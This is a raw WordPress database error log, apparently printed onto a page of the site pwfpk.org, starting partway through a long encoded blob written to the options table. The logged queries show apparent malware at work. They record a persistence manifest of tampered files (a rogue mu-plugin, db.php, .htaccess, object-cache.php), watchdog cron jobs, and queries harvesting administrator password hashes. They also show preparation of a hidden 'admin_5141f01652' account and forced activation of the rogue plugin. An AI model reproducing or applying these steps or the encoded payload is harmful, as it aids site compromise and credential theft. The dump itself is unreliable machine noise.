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', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_oc_dat_ok', '1788662588', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_persist_manifest', 'a:5:{s:89:\"/home/u105583757/domains/pwfpk.org/public_html/wp-content/mu-plugins/ridge-worker-pad.php\";s:18:\"6957942|1786293819\";s:64:\"/home/u105583757/domains/pwfpk.org/public_html/wp-content/db.php\";s:17:\"197296|1786293819\";s:61:\"line:/home/u105583757/domains/pwfpk.org/public_html/.htaccess\";s:17:\"2869|1788662499|1\";s:72:\"line:/home/u105583757/domains/pwfpk.org/public_html/wp-content/.htaccess\";s:17:\"2114|1788662500|1\";s:79:\"line:/home/u105583757/domains/pwfpk.org/public_html/wp-content/object-cache.php\";s:18:\"17235|1786293819|1\";}', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788662888;a:1:{s:20:\"tz24opdlzh3vum0xsqsl\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788663188;a:1:{s:13:\"sc_cron_guard\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:17:\"sc_guard_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_recovery_check', '1788662588', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [SELECT command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_users`]
SELECT u.ID, u.user_login, u.user_pass, u.user_email FROM wpn6_users u INNER JOIN wpn6_usermeta m ON u.ID = m.user_id WHERE m.meta_key = 'wpn6_capabilities' AND m.meta_value LIKE '%administrator%'

WordPress database error: [SELECT command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_users`]
SELECT * FROM wpn6_users WHERE user_login = 'admin_5141f01652' LIMIT 1

WordPress database error: [SELECT command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_users`]
SELECT * FROM wpn6_users WHERE user_login = 'admin_5141f01652' LIMIT 1

WordPress database error: [SELECT command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_users`]
SELECT ID FROM wpn6_users WHERE user_nicename = 'admin_5141f01652' AND user_login != 'admin_5141f01652' LIMIT 1

WordPress database error: [SELECT command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_users`]
SELECT * FROM wpn6_users WHERE user_email = 'admin_5141f01652@pwfpk.org' LIMIT 1

WordPress database error: [SELECT command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_users`]
SHOW FULL COLUMNS FROM `wpn6_users`

WordPress database error: [SELECT command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_users`]
SELECT COUNT(ID) as c FROM wpn6_users

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('user_count', '', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [SELECT command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_users`]
SHOW FULL COLUMNS FROM `wpn6_users`

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:37:\"ridge-worker-pad/ridge-worker-pad.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)